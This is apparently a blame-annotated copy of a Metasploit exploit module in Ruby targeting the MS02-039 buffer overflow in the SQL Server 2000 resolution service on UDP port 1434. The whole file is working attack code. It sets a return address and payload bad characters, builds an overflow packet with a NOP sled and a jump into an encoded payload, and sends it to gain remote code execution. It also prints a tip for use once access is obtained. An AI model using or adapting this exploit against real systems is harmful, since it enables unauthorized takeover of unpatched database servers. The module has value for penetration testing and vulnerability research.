2005-11-26 11:16:36 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Mssql::MS02_039_ResOverflow < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::MSSQL
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft SQL Server Resolution Overflow',
|
2005-11-26 11:16:36 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This is an exploit for the SQL Server 2000 resolution
|
|
|
|
service buffer overflow. This overflow is triggered by
|
|
|
|
sending a udp packet to port 1434 which starts with 0x04 and
|
|
|
|
is followed by long string terminating with a colon and a
|
|
|
|
number. This module should work against any vulnerable SQL
|
|
|
|
Server 2000 or MSDE install (pre-SP3).
|
|
|
|
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 11:16:36 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '4578'],
|
|
|
|
[ 'MSB', 'MS02-039'],
|
|
|
|
[ 'MIL', '44'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'MSSQL 2000 / MSDE <= SP2',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x42b48774,
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
2006-02-21 14:27:28 +00:00
|
|
|
'Platform' => 'win',
|
2005-11-26 11:16:36 +00:00
|
|
|
'DisclosureDate' => 'Jul 24 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(1434)
|
2005-12-25 22:47:38 +00:00
|
|
|
], self.class)
|
2005-11-26 11:16:36 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
info = mssql_ping
|
|
|
|
if (info['ServerName'])
|
|
|
|
print_status("SQL Server Information:")
|
|
|
|
info.each_pair { |k,v|
|
|
|
|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
|
|
|
|
}
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
connect_udp
|
|
|
|
print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
|
|
|
|
print_status("Execute 'net start sqlserveragent' once access is obtained");
|
|
|
|
|
|
|
|
# \x68:888 => push dword 0x3838383a
|
|
|
|
buf = "\x04" + Rex::Text.rand_text_english(800, payload_badchars) + "\x68:888"
|
|
|
|
|
|
|
|
# Return to the stack pointer
|
|
|
|
buf[ 97, 4] = [target.ret].pack('V')
|
|
|
|
|
|
|
|
# Which lands right here
|
|
|
|
buf[101, 6] = make_nops(6)
|
|
|
|
|
|
|
|
# Jumps 8 bytes ahead
|
|
|
|
buf[107, 2] = "\xeb\x08"
|
|
|
|
|
|
|
|
# Write to thread storage space to avoid a crash
|
|
|
|
buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')
|
|
|
|
|
|
|
|
# And finally into the payload
|
|
|
|
buf[117,payload.encoded.length] = payload.encoded
|
|
|
|
|
|
|
|
udp_sock.put(buf)
|
|
|
|
|
|
|
|
disconnect_udp
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|